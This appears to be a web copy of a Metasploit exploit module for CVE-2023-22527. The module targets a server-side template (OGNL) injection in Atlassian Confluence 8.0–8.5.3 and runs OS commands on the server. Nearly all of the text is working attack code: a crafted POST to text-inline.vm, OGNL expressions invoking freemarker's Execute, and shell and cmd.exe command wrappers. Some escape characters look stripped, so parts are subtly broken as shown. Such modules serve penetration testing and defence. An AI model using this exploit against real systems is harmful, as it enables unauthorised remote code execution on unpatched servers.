This Metasploit module exploits an SSTI injection in Atlassian Confluence servers. A specially crafted HTTP request uses the injection to evaluate an OGNL expression resulting in OS command execution. Versions 8.5.0 through 8.5.3 and 8.0 to 8.4 are known to be vulnerable.
advisories | CVE-2023-22527
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence SSTI Injection',
'Description' => %q{
This module exploits an SSTI injection in Atlassian Confluence servers. A specially crafted HTTP request uses
the injection to evaluate an OGNL expression resulting in OS command execution.
Versions 8.5.0 through 8.5.3 and 8.0 to 8.4 are known to be vulnerable.
},
'Author' => [
'Rahul Maini', # ProjectDiscovery analysis
'Harsh Jaiswal', # ProjectDiscovery analysis
'Spencer McIntyre'
],
'References' => [
['CVE', '2023-22527'],
['URL', 'https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html'],
['URL', 'https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/']
],
'DisclosureDate' => '2024-01-16', # Atlassian advisory released
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Payload' => { 'Space' => 8191, 'DisableNops' => true }
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8090
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def get_confluence_platform
# this method gets the platform by exploiting CVE-2023-22527
return @confluence_platform if @confluence_platform
header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
ognl = <<~OGNL.gsub(/^s+/, '').tr("n", '')
@org.apache.struts2.ServletActionContext@getResponse().setHeader(
'#{header}',
(@java.lang.System@getProperty('os.name'))
)
OGNL
res = inject_ognl(ognl)
return nil unless res
res.headers[header]
end
def check
confluence_version = get_confluence_version
return CheckCode::Unknown('Failed to determine the Confluence version.') unless confluence_version
vprint_status("Detected Confluence version: #{confluence_version}")
if confluence_version > Rex::Version.new('8.5.3')
return CheckCode::Safe("Version #{confluence_version} is not affected.")
end
confluence_platform = get_confluence_platform
unless confluence_platform
return CheckCode::Safe('Failed to test OGNL injection.')
end
vprint_status("Detected target platform: #{confluence_platform}")
CheckCode::Vulnerable('Successfully tested OGNL injection.')
end
def exploit
confluence_platform = get_confluence_platform
unless confluence_platform
fail_with(Failure::NotVulnerable, 'The target is not vulnerable.')
end
unless confluence_platform.downcase.start_with?('win') == (target['Platform'] == 'win')
fail_with(Failure::NoTarget, "The target platform '#{confluence_platform}' is incompatible with '#{target.name}'")
end
print_status("Executing #{payload_instance.refname} (#{target.name})")
execute_command(payload.encoded)
end
def execute_command(cmd, _opts = {})
param = rand_text_alphanumeric(6..10)
# reference a parameter in the OGNL to work around the 200 character length limit
ognl = <<~OGNL.gsub(/^s+/, '').tr("n", '')
(new freemarker.template.utility.Execute()).exec(
{@org.apache.struts2.ServletActionContext@getRequest().getParameter('#{param}')}
)
OGNL
if target['Platform'] == 'win'
vars_post = { param => "cmd.exe /c "#{cmd}"" }
else
# the command is executed via Runtime.exec, so sh -c "#{cmd}" will not work with all payloads
# see: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html?m=1
vars_post = { param => "sh -c $@|sh . echo #{cmd}" }
end
inject_ognl(ognl, 'vars_post' => vars_post)
end
def inject_ognl(ognl, opts = {})
opts = opts.clone
param = rand_text_alphanumeric(6..10)
final_opts = {
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'template/aui/text-inline.vm'),
'vars_post' => {
# label and param are both limited to a 200 character length by default
'label' => "u0027+#request.get(u0027.KEY_velocity.struts2.contextu0027).internalGet(u0027ognlu0027).findValue(#parameters.#{param},{})+u0027",
param => ognl
}.merge(opts.delete('vars_post') || {})
}.merge(opts)
send_request_cgi(final_opts)
end
end